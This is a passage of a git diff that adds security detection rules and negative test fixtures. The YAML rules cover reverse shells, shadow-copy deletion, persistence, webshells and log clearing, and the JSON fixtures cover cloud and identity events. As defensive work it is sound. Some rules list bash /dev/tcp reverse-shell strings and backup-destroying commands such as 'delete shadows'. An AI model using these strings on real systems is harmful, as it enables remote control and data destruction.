source_image_basename_not_in_allowlist == true+ AND target_image_basename IN ["explorer.exe", "svchost.exe", "lsass.exe", "winlogon.exe"]+false_positives:+- Debuggers (allowlist by signed publisher)+playbook: tpl-malware-execution+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/psexec-style-binary-write-admin-share.yaml b/detections/endpoint/psexec-style-binary-write-admin-share.yamlnew file mode 100644index 000000000..83c1d0a3f--- /dev/null+++ b/detections/endpoint/psexec-style-binary-write-admin-share.yaml@@ -0,0 +1,25 @@+id: det-endpoint-010+name: Binary Written to ADMIN$ via SMB+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Binary Written+ to ADMIN$ via SMB'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1021.002+- tlp.white+category: endpoint+log_source:+ product: edr+ service: file-create+detection:+ condition: |+ event_type == "FileCreate"+ AND file_path CONTAINS "ADMIN$"+ AND file_path ENDSWITH ".exe"+false_positives:+- SCCM agent deployment (allowlist signed publisher)+playbook: tpl-lateral-movement+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/ransomware-file-extension-change.yaml b/detections/endpoint/ransomware-file-extension-change.yamlindex eb55b7d4e..970f942cf 100644--- a/detections/endpoint/ransomware-file-extension-change.yaml+++ b/detections/endpoint/ransomware-file-extension-change.yaml@@ -1,37 +1,25 @@-id: det-ep-001-name: Ransomware - Mass File Extension Modification-description: >- Detects rapid mass file rename or write operations that change file extensions- to known ransomware patterns or unknown extensions, which is a strong indicator- of encryption-based ransomware activity on an endpoint.-version: "1.0.0"+id: det-endpoint-003+name: Mass File Extension Rename Indicative of Ransomware+description: Detects bulk file rename operations where file extensions are changed to novel patterns within+ a short time window. This is a high-fidelity indicator of ransomware encryption activity.+version: 1.0.0severity: criticaltags:- - mitre.attack.t1486- - tlp.white+- mitre.attack.t1486+- tlp.whitecategory: endpointlog_source:product: edr- service: file-events+ service: file-renamedetection:condition: |- event_type IN ["file_rename", "file_write"]- AND unique_extension_changes_per_process_per_minute > 50- AND (- new_extension IN [- ".locked", ".encrypted", ".enc", ".crypt", ".crypted",- ".cryp", ".cryt", ".crinf", ".r5a", ".XRNT", ".XTBL",- ".RDM", ".RRK", ".xcrypt", ".p5tkjw", ".wncry", ".wncryt"- ]- OR new_extension_length > 8- )- filters:- - process_name: "backup-agent.exe"+ rename_count_per_process > 200+ AND extension_change_pattern == "to-novel-extension"+ AND time_window_minutes < 5false_positives:- - Backup software performing file version archival- - Legitimate encryption tools (7-Zip, VeraCrypt)-playbook: tpl-ransomware-response+- Bulk archive operations (must be in allowlisted backup tools)+playbook: tpl-ransomwareenabled: trueauthor: AiSOC-created: "2025-01-15"-modified: "2025-01-15"+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/registry-runkey-write.yaml b/detections/endpoint/registry-runkey-write.yamlnew file mode 100644index 000000000..91df82469--- /dev/null+++ b/detections/endpoint/registry-runkey-write.yaml@@ -0,0 +1,24 @@+id: det-endpoint-008+name: Persistence via Registry Run Key Write+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Persistence via+ Registry Run Key Write'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1547.001+- tlp.white+category: endpoint+log_source:+ product: edr+ service: registry+detection:+ condition: |+ event_type == "RegistryValueSet"+ AND registry_path IN ["HKLM\Software\Microsoft\Windows\CurrentVersion\Run", "HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce"]+false_positives:+- Software installers (allowlist by signed publisher)+playbook: tpl-persistence+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/remote-image-load-from-share.yaml b/detections/endpoint/remote-image-load-from-share.yamlnew file mode 100644index 000000000..05762ea1c--- /dev/null+++ b/detections/endpoint/remote-image-load-from-share.yaml@@ -0,0 +1,24 @@+id: det-endpoint-020+name: DLL Loaded From Network Share+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'DLL Loaded From+ Network Share'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1574.002+- tlp.white+category: endpoint+log_source:+ product: edr+ service: image-load+detection:+ condition: |+ event_type == "ImageLoad"+ AND image_loaded_path STARTSWITH "\\"+false_positives:+- Centrally deployed plugin DLLs (allowlist server share)+playbook: tpl-malware-execution+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/reverse-shell-bash.yaml b/detections/endpoint/reverse-shell-bash.yamlnew file mode 100644index 000000000..86d008022--- /dev/null+++ b/detections/endpoint/reverse-shell-bash.yaml@@ -0,0 +1,24 @@+id: det-endpoint-025+name: Reverse Shell Pattern from /bin/bash+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Reverse Shell Pattern+ from /bin/bash'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1059.004+- tlp.white+category: endpoint+log_source:+ product: linux+ service: auditd+detection:+ condition: |+ image_basename == "bash"+ AND command_line CONTAINS_ANY ["bash -i >& /dev/tcp/", "0<&196;exec 196<>/dev/tcp/", "bash -c "bash -i""]+false_positives:+- Red-team / pentest exercises (must be ticketed)+playbook: tpl-malware-execution+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/rmm-tool-install.yaml b/detections/endpoint/rmm-tool-install.yamlnew file mode 100644index 000000000..64a778df3--- /dev/null+++ b/detections/endpoint/rmm-tool-install.yaml@@ -0,0 +1,24 @@+id: det-endpoint-038+name: Remote Management Tool Installed Outside Allowlist+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Remote Management+ Tool Installed Outside Allowlist'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1219+- tlp.white+category: endpoint+log_source:+ product: edr+ service: process-create+detection:+ condition: |+ image_basename IN ["AnyDesk.exe", "TeamViewer.exe", "ScreenConnect.ClientService.exe", "atera_agent.exe", "splashtop.exe"]+ AND image_basename_in_allowlist == false+false_positives:+- IT-managed remote support tools (allowlisted)+playbook: tpl-malware-execution+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/scheduled-task-create-suspicious.yaml b/detections/endpoint/scheduled-task-create-suspicious.yamlnew file mode 100644index 000000000..18f38389b--- /dev/null+++ b/detections/endpoint/scheduled-task-create-suspicious.yaml@@ -0,0 +1,24 @@+id: det-endpoint-007+name: Scheduled Task Created Pointing to Suspicious Path+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Scheduled Task+ Created Pointing to Suspicious Path'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1053.005+- tlp.white+category: endpoint+log_source:+ product: edr+ service: scheduled-task+detection:+ condition: |+ event_type == "ScheduledTaskCreate"+ AND task_command_path STARTSWITH_ANY ["C:\Users\Public\", "C:\ProgramData\", "C:\Windows\Temp\"]+false_positives:+- Software installers (allowlist by signed publisher)+playbook: tpl-persistence+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/screen-capture-tool.yaml b/detections/endpoint/screen-capture-tool.yamlnew file mode 100644index 000000000..5de6f668a--- /dev/null+++ b/detections/endpoint/screen-capture-tool.yaml@@ -0,0 +1,24 @@+id: det-endpoint-040+name: Screen-Capture Tool Use on Sensitive Workstation+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Screen-Capture+ Tool Use on Sensitive Workstation'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1113+- tlp.white+category: endpoint+log_source:+ product: edr+ service: process-create+detection:+ condition: |+ image_basename IN ["snippingtool.exe", "screenclippinghost.exe", "obs64.exe", "obs.exe"]+ AND host_role == "sensitive"+false_positives:+- Approved training-session recording (must be ticketed)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/service-install-binary-suspicious.yaml b/detections/endpoint/service-install-binary-suspicious.yamlnew file mode 100644index 000000000..a400a8fcc--- /dev/null+++ b/detections/endpoint/service-install-binary-suspicious.yaml@@ -0,0 +1,24 @@+id: det-endpoint-009+name: New Service Installed with Suspicious Binary Path+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'New Service Installed+ with Suspicious Binary Path'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1543.003+- tlp.white+category: endpoint+log_source:+ product: windows+ service: system+detection:+ condition: |+ event_id == 7045+ AND service_path STARTSWITH_ANY ["C:\Users\", "C:\ProgramData\", "C:\Windows\Temp\"]+false_positives:+- Vendor agents installed during onboarding (must be allowlisted by publisher)+playbook: tpl-persistence+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/shadow-copy-deletion.yaml b/detections/endpoint/shadow-copy-deletion.yamlnew file mode 100644index 000000000..f6e8a6990--- /dev/null+++ b/detections/endpoint/shadow-copy-deletion.yaml@@ -0,0 +1,24 @@+id: det-endpoint-012+name: Volume Shadow Copies Deleted+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Volume Shadow Copies+ Deleted'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1490+- tlp.white+category: endpoint+log_source:+ product: edr+ service: process-create+detection:+ condition: |+ image_basename IN ["vssadmin.exe", "wmic.exe", "diskshadow.exe", "wbadmin.exe"]+ AND command_line CONTAINS_ANY ["delete shadows", "shadowcopy delete", "delete catalog -quiet"]+false_positives:+- Backup software cleaning old shadows (must be allowlisted)+playbook: tpl-ransomware+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/shell-from-web-server.yaml b/detections/endpoint/shell-from-web-server.yamlnew file mode 100644index 000000000..38531e30f--- /dev/null+++ b/detections/endpoint/shell-from-web-server.yaml@@ -0,0 +1,25 @@+id: det-endpoint-024+name: Shell Spawned by Web Server Process+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Shell Spawned by+ Web Server Process'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1059.004+- mitre.attack.t1505.003+- tlp.white+category: endpoint+log_source:+ product: linux+ service: auditd+detection:+ condition: |+ parent_image_basename IN ["nginx", "apache2", "httpd", "php-fpm", "node", "java"]+ AND image_basename IN ["bash", "sh", "zsh", "ksh", "dash"]+false_positives:+- CGI applications by design (allowlist by app)+playbook: tpl-webshell+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/ssh-key-added-authorized.yaml b/detections/endpoint/ssh-key-added-authorized.yamlnew file mode 100644index 000000000..a1a121209--- /dev/null+++ b/detections/endpoint/ssh-key-added-authorized.yaml@@ -0,0 +1,24 @@+id: det-endpoint-027+name: SSH authorized_keys File Modified+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'SSH authorized_keys+ File Modified'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1098.004+- tlp.white+category: endpoint+log_source:+ product: linux+ service: auditd+detection:+ condition: |+ event_type IN ["PATH", "FILE_WRITE"]+ AND file_path ENDSWITH "/.ssh/authorized_keys"+false_positives:+- Provisioning tools (must be allowlisted)+playbook: tpl-persistence+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/suid-binary-creation.yaml b/detections/endpoint/suid-binary-creation.yamlnew file mode 100644index 000000000..b21ed2bdc--- /dev/null+++ b/detections/endpoint/suid-binary-creation.yaml@@ -0,0 +1,24 @@+id: det-endpoint-021+name: SUID/SGID Binary Created+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'SUID/SGID Binary+ Created'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1548.001+- tlp.white+category: endpoint+log_source:+ product: linux+ service: auditd+detection:+ condition: |+ event_type == "PATH"+ AND permissions HAS_ANY ["S_ISUID", "S_ISGID"]+false_positives:+- Package installers (must be triggered by dpkg/yum)+playbook: tpl-privilege-escalation+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/usb-device-mass-storage-attached.yaml b/detections/endpoint/usb-device-mass-storage-attached.yamlnew file mode 100644index 000000000..34e6b8100--- /dev/null+++ b/detections/endpoint/usb-device-mass-storage-attached.yaml@@ -0,0 +1,25 @@+id: det-endpoint-037+name: USB Mass-Storage Device Attached to Restricted Host+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'USB Mass-Storage+ Device Attached to Restricted Host'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1052.001+- tlp.white+category: endpoint+log_source:+ product: edr+ service: device+detection:+ condition: |+ event_type == "DeviceConnect"+ AND device_class == "USB-MassStorage"+ AND host_role == "restricted"+false_positives:+- IT-issued encrypted USB keys (allowlist by device serial)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/user-add-suspicious.yaml b/detections/endpoint/user-add-suspicious.yamlnew file mode 100644index 000000000..4415e6699--- /dev/null+++ b/detections/endpoint/user-add-suspicious.yaml@@ -0,0 +1,24 @@+id: det-endpoint-026+name: Unix User Added with Login Shell+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Unix User Added+ with Login Shell'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1136.001+- tlp.white+category: endpoint+log_source:+ product: linux+ service: auditd+detection:+ condition: |+ event_type == "USER_ADD"+ AND command_line CONTAINS_ANY ["/bin/bash", "/bin/sh"]+false_positives:+- Provisioning of new operator account (ticketed)+playbook: tpl-persistence+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/windows-event-log-cleared.yaml b/detections/endpoint/windows-event-log-cleared.yamlnew file mode 100644index 000000000..2612ba933--- /dev/null+++ b/detections/endpoint/windows-event-log-cleared.yaml@@ -0,0 +1,23 @@+id: det-endpoint-013+name: Windows Event Log Cleared+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Windows Event Log+ Cleared'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1070.001+- tlp.white+category: endpoint+log_source:+ product: windows+ service: security+detection:+ condition: |+ event_id IN [1102, 104]+false_positives:+- Forensic export with explicit migration ticket+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/endpoint/wmi-process-creation.yaml b/detections/endpoint/wmi-process-creation.yamlnew file mode 100644index 000000000..3041d112c--- /dev/null+++ b/detections/endpoint/wmi-process-creation.yaml@@ -0,0 +1,24 @@+id: det-endpoint-006+name: Process Created via WMI by Non-Admin Tool+description: AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Process Created+ via WMI by Non-Admin Tool'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1047+- tlp.white+category: endpoint+log_source:+ product: edr+ service: process-create+detection:+ condition: |+ parent_image_basename IN ["wmiprvse.exe"]+ AND image_basename_in_allowlist == false+false_positives:+- SCCM / Intune agents (allowlist signed publisher)+playbook: tpl-lateral-movement+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/fixtures/negative/account-creation-by-non-admin.json b/detections/fixtures/negative/account-creation-by-non-admin.jsonnew file mode 100644index 000000000..4789afc0d--- /dev/null+++ b/detections/fixtures/negative/account-creation-by-non-admin.json@@ -0,0 +1,5 @@+{+ "actor": "[email protected]",+ "actor_role": "admin",+ "event_type": "user.lifecycle.create"+}diff --git a/detections/fixtures/negative/account-enable-after-disable.json b/detections/fixtures/negative/account-enable-after-disable.jsonnew file mode 100644index 000000000..241569404--- /dev/null+++ b/detections/fixtures/negative/account-enable-after-disable.json@@ -0,0 +1,5 @@+{+ "event_type": "user.lifecycle.activate",+ "previous_state": "STAGED",+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/ad-replication-non-dc.json b/detections/fixtures/negative/ad-replication-non-dc.jsonnew file mode 100644index 000000000..072b0ac38--- /dev/null+++ b/detections/fixtures/negative/ad-replication-non-dc.json@@ -0,0 +1,6 @@+{+ "event_id": 4662,+ "operation_type": "DS-Replication-Get-Changes-All",+ "source_role": "domain_controller",+ "user": "DC01$"+}diff --git a/detections/fixtures/negative/admin-account-deletion.json b/detections/fixtures/negative/admin-account-deletion.jsonnew file mode 100644index 000000000..e0d93b3cf--- /dev/null+++ b/detections/fixtures/negative/admin-account-deletion.json@@ -0,0 +1,5 @@+{+ "event_type": "user.lifecycle.deactivate",+ "target_user": "[email protected]",+ "target_user_role": "viewer"+}diff --git a/detections/fixtures/negative/amsi-bypass.json b/detections/fixtures/negative/amsi-bypass.jsonnew file mode 100644index 000000000..dc102c1f0--- /dev/null+++ b/detections/fixtures/negative/amsi-bypass.json@@ -0,0 +1,5 @@+{+ "command_line": "powershell.exe -File C:\\scripts\\monitor.ps1",+ "host": "wks-001",+ "image_basename": "powershell.exe"+}diff --git a/detections/fixtures/negative/api-key-leak-in-request.json b/detections/fixtures/negative/api-key-leak-in-request.jsonnew file mode 100644index 000000000..239b66ca7--- /dev/null+++ b/detections/fixtures/negative/api-key-leak-in-request.json@@ -0,0 +1,4 @@+{+ "host": "internal.corp.com",+ "request_body": "{\"username\":\"alice\"}"+}diff --git a/detections/fixtures/negative/api-mass-enumeration-ids.json b/detections/fixtures/negative/api-mass-enumeration-ids.jsonnew file mode 100644index 000000000..1b4706203--- /dev/null+++ b/detections/fixtures/negative/api-mass-enumeration-ids.json@@ -0,0 +1,5 @@+{+ "distinct_object_ids_per_src": 30,+ "src_ip": "10.0.5.7",+ "time_window_minutes": 60+}diff --git a/detections/fixtures/negative/api-permission-bypass-idor.json b/detections/fixtures/negative/api-permission-bypass-idor.jsonnew file mode 100644index 000000000..3fa79f8fc--- /dev/null+++ b/detections/fixtures/negative/api-permission-bypass-idor.json@@ -0,0 +1,6 @@+{+ "caller_tenant_id": "tenant-A",+ "event_type": "object.read",+ "object_tenant_id": "tenant-A",+ "object_tenant_id_eq_caller_tenant_id": true+}diff --git a/detections/fixtures/negative/app-token-broad-default.json b/detections/fixtures/negative/app-token-broad-default.jsonnew file mode 100644index 000000000..9dcd66253--- /dev/null+++ b/detections/fixtures/negative/app-token-broad-default.json@@ -0,0 +1,5 @@+{+ "action": "integration_installation.create",+ "app": "thirdparty-bot",+ "permission_administration": "read"+}diff --git a/detections/fixtures/negative/archive-then-egress.json b/detections/fixtures/negative/archive-then-egress.jsonnew file mode 100644index 000000000..e4ded693c--- /dev/null+++ b/detections/fixtures/negative/archive-then-egress.json@@ -0,0 +1,5 @@+{+ "archive_seen_within_minutes": 240,+ "egress_bytes": 5000,+ "host": "wks-001"+}diff --git a/detections/fixtures/negative/asreproasting.json b/detections/fixtures/negative/asreproasting.jsonnew file mode 100644index 000000000..125d0711c--- /dev/null+++ b/detections/fixtures/negative/asreproasting.json@@ -0,0 +1,5 @@+{+ "event_id": 4768,+ "preauth_required": true,+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/aws-cloudtrail-disabled.json b/detections/fixtures/negative/aws-cloudtrail-disabled.jsonnew file mode 100644index 000000000..51846a700--- /dev/null+++ b/detections/fixtures/negative/aws-cloudtrail-disabled.json@@ -0,0 +1,5 @@+{+ "event_name": "StartLogging",+ "trail_name": "org-default",+ "user_arn": "arn:aws:iam::111:user/admin"+}diff --git a/detections/fixtures/negative/aws-cross-account-assumerole.json b/detections/fixtures/negative/aws-cross-account-assumerole.jsonnew file mode 100644index 000000000..d24311fc9--- /dev/null+++ b/detections/fixtures/negative/aws-cross-account-assumerole.json@@ -0,0 +1,5 @@+{+ "event_name": "AssumeRole",+ "user_arn": "arn:aws:sts::111111111111:assumed-role/internal",+ "user_arn_external_account": false+}diff --git a/detections/fixtures/negative/aws-ebs-snapshot-public.json b/detections/fixtures/negative/aws-ebs-snapshot-public.jsonnew file mode 100644index 000000000..c75b1d0d8--- /dev/null+++ b/detections/fixtures/negative/aws-ebs-snapshot-public.json@@ -0,0 +1,5 @@+{+ "createvolumepermission": "self",+ "event_name": "ModifySnapshotAttribute",+ "snapshot_id": "snap-prod-pii"+}diff --git a/detections/fixtures/negative/aws-ec2-launch-foreign-region.json b/detections/fixtures/negative/aws-ec2-launch-foreign-region.jsonnew file mode 100644index 000000000..d4325275f--- /dev/null+++ b/detections/fixtures/negative/aws-ec2-launch-foreign-region.json@@ -0,0 +1,4 @@+{+ "aws_region": "us-east-1",+ "event_name": "RunInstances"+}diff --git a/detections/fixtures/negative/aws-iam-enumeration.json b/detections/fixtures/negative/aws-iam-enumeration.jsonnew file mode 100644index 000000000..4533aab27--- /dev/null+++ b/detections/fixtures/negative/aws-iam-enumeration.json@@ -0,0 +1,6 @@+{+ "event_name_count": 4,+ "event_source": "iam.amazonaws.com",+ "time_window_minutes": 5,+ "user_arn": "arn:aws:iam::111:user/admin"+}diff --git a/detections/fixtures/negative/aws-iam-policy-permissive.json b/detections/fixtures/negative/aws-iam-policy-permissive.jsonnew file mode 100644index 000000000..a64ab2f7e--- /dev/null+++ b/detections/fixtures/negative/aws-iam-policy-permissive.json@@ -0,0 +1,6 @@+{+ "event_name": "PutRolePolicy",+ "policy_action": "s3:GetObject",+ "policy_resource": "arn:aws:s3:::reports/*",+ "role": "deploy-bot"+}diff --git a/detections/fixtures/negative/aws-kms-key-disable.json b/detections/fixtures/negative/aws-kms-key-disable.jsonnew file mode 100644index 000000000..55f215ce7--- /dev/null+++ b/detections/fixtures/negative/aws-kms-key-disable.json@@ -0,0 +1,5 @@+{+ "event_name": "EnableKey",+ "key_id": "alias/prod-encrypt",+ "user_arn": "arn:aws:iam::111:user/admin"+}diff --git a/detections/fixtures/negative/aws-lambda-permissive-trigger.json b/detections/fixtures/negative/aws-lambda-permissive-trigger.jsonnew file mode 100644index 000000000..c0ded4381--- /dev/null+++ b/detections/fixtures/negative/aws-lambda-permissive-trigger.json@@ -0,0 +1,5 @@+{+ "event_name": "AddPermission",+ "function": "process-customer-pii",+ "principal": "arn:aws:iam::222:role/partner"+}diff --git a/detections/fixtures/negative/aws-rds-publicly-accessible.json b/detections/fixtures/negative/aws-rds-publicly-accessible.jsonnew file mode 100644index 000000000..67cb1d3ac--- /dev/null+++ b/detections/fixtures/negative/aws-rds-publicly-accessible.json@@ -0,0 +1,5 @@+{+ "db_id": "prod-pii",+ "event_name": "ModifyDBInstance",+ "publicly_accessible": false+}diff --git a/detections/fixtures/negative/aws-root-account-login.json b/detections/fixtures/negative/aws-root-account-login.jsonnew file mode 100644index 000000000..bf8ac7fe4--- /dev/null+++ b/detections/fixtures/negative/aws-root-account-login.json@@ -0,0 +1,6 @@+{+ "error_code": null,+ "event_name": "ConsoleLogin",+ "src_ip": "203.0.113.7",+ "user_type": "IAMUser"+}diff --git a/detections/fixtures/negative/aws-s3-bucket-deletion.json b/detections/fixtures/negative/aws-s3-bucket-deletion.jsonnew file mode 100644index 000000000..b66d93021--- /dev/null+++ b/detections/fixtures/negative/aws-s3-bucket-deletion.json@@ -0,0 +1,5 @@+{+ "bucket": "prod-backups",+ "event_name": "DeleteObject",+ "user_arn": "arn:aws:iam::111:user/admin"+}diff --git a/detections/fixtures/negative/aws-s3-mass-getobject.json b/detections/fixtures/negative/aws-s3-mass-getobject.jsonnew file mode 100644index 000000000..66f8f257e--- /dev/null+++ b/detections/fixtures/negative/aws-s3-mass-getobject.json@@ -0,0 +1,6 @@+{+ "event_name": "GetObject",+ "object_count_per_principal": 35,+ "time_window_minutes": 30,+ "user_arn": "arn:aws:iam::111:user/intern"+}diff --git a/detections/fixtures/negative/aws-s3-public-bucket.json b/detections/fixtures/negative/aws-s3-public-bucket.jsonnew file mode 100644index 000000000..b9a6acfc8--- /dev/null+++ b/detections/fixtures/negative/aws-s3-public-bucket.json@@ -0,0 +1,5 @@+{+ "bucket": "customer-pii",+ "event_name": "PutBucketAcl",+ "public_grant": false+}diff --git a/detections/fixtures/negative/aws-security-group-open-world.json b/detections/fixtures/negative/aws-security-group-open-world.jsonnew file mode 100644index 000000000..e9f4736a8--- /dev/null+++ b/detections/fixtures/negative/aws-security-group-open-world.json@@ -0,0 +1,6 @@+{+ "event_name": "AuthorizeSecurityGroupIngress",+ "ip_range": "10.0.0.0/8",+ "port": 22,+ "sg_id": "sg-prod-db"+}diff --git a/detections/fixtures/negative/aws-vpc-flow-logs-disabled.json b/detections/fixtures/negative/aws-vpc-flow-logs-disabled.jsonnew file mode 100644index 000000000..26d41fb65--- /dev/null+++ b/detections/fixtures/negative/aws-vpc-flow-logs-disabled.json@@ -0,0 +1,4 @@+{+ "event_name": "CreateFlowLogs",+ "vpc_id": "vpc-prod"+}diff --git a/detections/fixtures/negative/azure-ad-app-secret-added.json b/detections/fixtures/negative/azure-ad-app-secret-added.jsonnew file mode 100644index 000000000..ad6fe21ea--- /dev/null+++ b/detections/fixtures/negative/azure-ad-app-secret-added.json@@ -0,0 +1,4 @@+{+ "app_id": "graph-reader-app",+ "operation_name": "Update application - Properties"+}diff --git a/detections/fixtures/negative/azure-ad-mfa-disabled-for-user.json b/detections/fixtures/negative/azure-ad-mfa-disabled-for-user.jsonnew file mode 100644index 000000000..54dcdeb11--- /dev/null+++ b/detections/fixtures/negative/azure-ad-mfa-disabled-for-user.json@@ -0,0 +1,4 @@+{+ "operation_name": "Enable Strong Authentication",+ "target_user": "[email protected]"+}diff --git a/detections/fixtures/negative/azure-ad-role-owner-assignment.json b/detections/fixtures/negative/azure-ad-role-owner-assignment.jsonnew file mode 100644index 000000000..0089b9775--- /dev/null+++ b/detections/fixtures/negative/azure-ad-role-owner-assignment.json@@ -0,0 +1,5 @@+{+ "operation_name": "AddMemberToRole",+ "role_name": "Reader",+ "target_user": "[email protected]"+}diff --git a/detections/fixtures/negative/azure-app-registration-permissive-scope.json b/detections/fixtures/negative/azure-app-registration-permissive-scope.jsonnew file mode 100644index 000000000..6fa7f078e--- /dev/null+++ b/detections/fixtures/negative/azure-app-registration-permissive-scope.json@@ -0,0 +1,5 @@+{+ "app": "thirdparty-import",+ "operation_name": "Add app role assignment to service principal",+ "scope": "User.Read"+}diff --git a/detections/fixtures/negative/azure-conditional-access-disabled.json b/detections/fixtures/negative/azure-conditional-access-disabled.jsonnew file mode 100644index 000000000..6d646d65a--- /dev/null+++ b/detections/fixtures/negative/azure-conditional-access-disabled.json@@ -0,0 +1,5 @@+{+ "operation_name": "Update conditional access policy",+ "policy_name": "MFA-required",+ "policy_state": "enabled"+}diff --git a/detections/fixtures/negative/azure-keyvault-key-deleted.json b/detections/fixtures/negative/azure-keyvault-key-deleted.jsonnew file mode 100644index 000000000..5a99edd0c--- /dev/null+++ b/detections/fixtures/negative/azure-keyvault-key-deleted.json@@ -0,0 +1,5 @@+{+ "key_name": "prod-encrypt",+ "operation_name": "KeyGet",+ "principal": "[email protected]"+}diff --git a/detections/fixtures/negative/azure-login-anonymous-ip.json b/detections/fixtures/negative/azure-login-anonymous-ip.jsonnew file mode 100644index 000000000..676cf8548--- /dev/null+++ b/detections/fixtures/negative/azure-login-anonymous-ip.json@@ -0,0 +1,5 @@+{+ "risk_event_type": "atypicalTravel",+ "src_ip": "98.97.96.95",+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/azure-nsg-allow-all-inbound.json b/detections/fixtures/negative/azure-nsg-allow-all-inbound.jsonnew file mode 100644index 000000000..5f4f3a8b1--- /dev/null+++ b/detections/fixtures/negative/azure-nsg-allow-all-inbound.json@@ -0,0 +1,6 @@+{+ "nsg": "prod-db",+ "operation_name": "Microsoft.Network/networkSecurityGroups/securityRules/write",+ "rule_destination_port": 3389,+ "rule_source": "10.0.0.0/8"+}diff --git a/detections/fixtures/negative/azure-resource-mass-delete.json b/detections/fixtures/negative/azure-resource-mass-delete.jsonnew file mode 100644index 000000000..0744bdb11--- /dev/null+++ b/detections/fixtures/negative/azure-resource-mass-delete.json@@ -0,0 +1,6 @@+{+ "delete_count_per_principal": 2,+ "operation_name": "Microsoft.Storage/storageAccounts/delete",+ "principal": "[email protected]",+ "time_window_minutes": 60+}diff --git a/detections/fixtures/negative/azure-storage-public-blob.json b/detections/fixtures/negative/azure-storage-public-blob.jsonnew file mode 100644index 000000000..1e16c3832--- /dev/null+++ b/detections/fixtures/negative/azure-storage-public-blob.json@@ -0,0 +1,5 @@+{+ "container": "customer-data",+ "operation_name": "Microsoft.Storage/storageAccounts/blobServices/containers/write",+ "public_access": "none"+}diff --git a/detections/fixtures/negative/backup-export-anomalous.json b/detections/fixtures/negative/backup-export-anomalous.jsonnew file mode 100644index 000000000..6d0997dc0--- /dev/null+++ b/detections/fixtures/negative/backup-export-anomalous.json@@ -0,0 +1,5 @@+{+ "backup_dst_in_allowlist": true,+ "destination": "approved-dr-account",+ "event_type": "Backup.Export"+}diff --git a/detections/fixtures/negative/browser-credential-grabber.json b/detections/fixtures/negative/browser-credential-grabber.jsonnew file mode 100644index 000000000..443af0f8f--- /dev/null+++ b/detections/fixtures/negative/browser-credential-grabber.json@@ -0,0 +1,6 @@+{+ "event_type": "FileRead",+ "file_path": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User 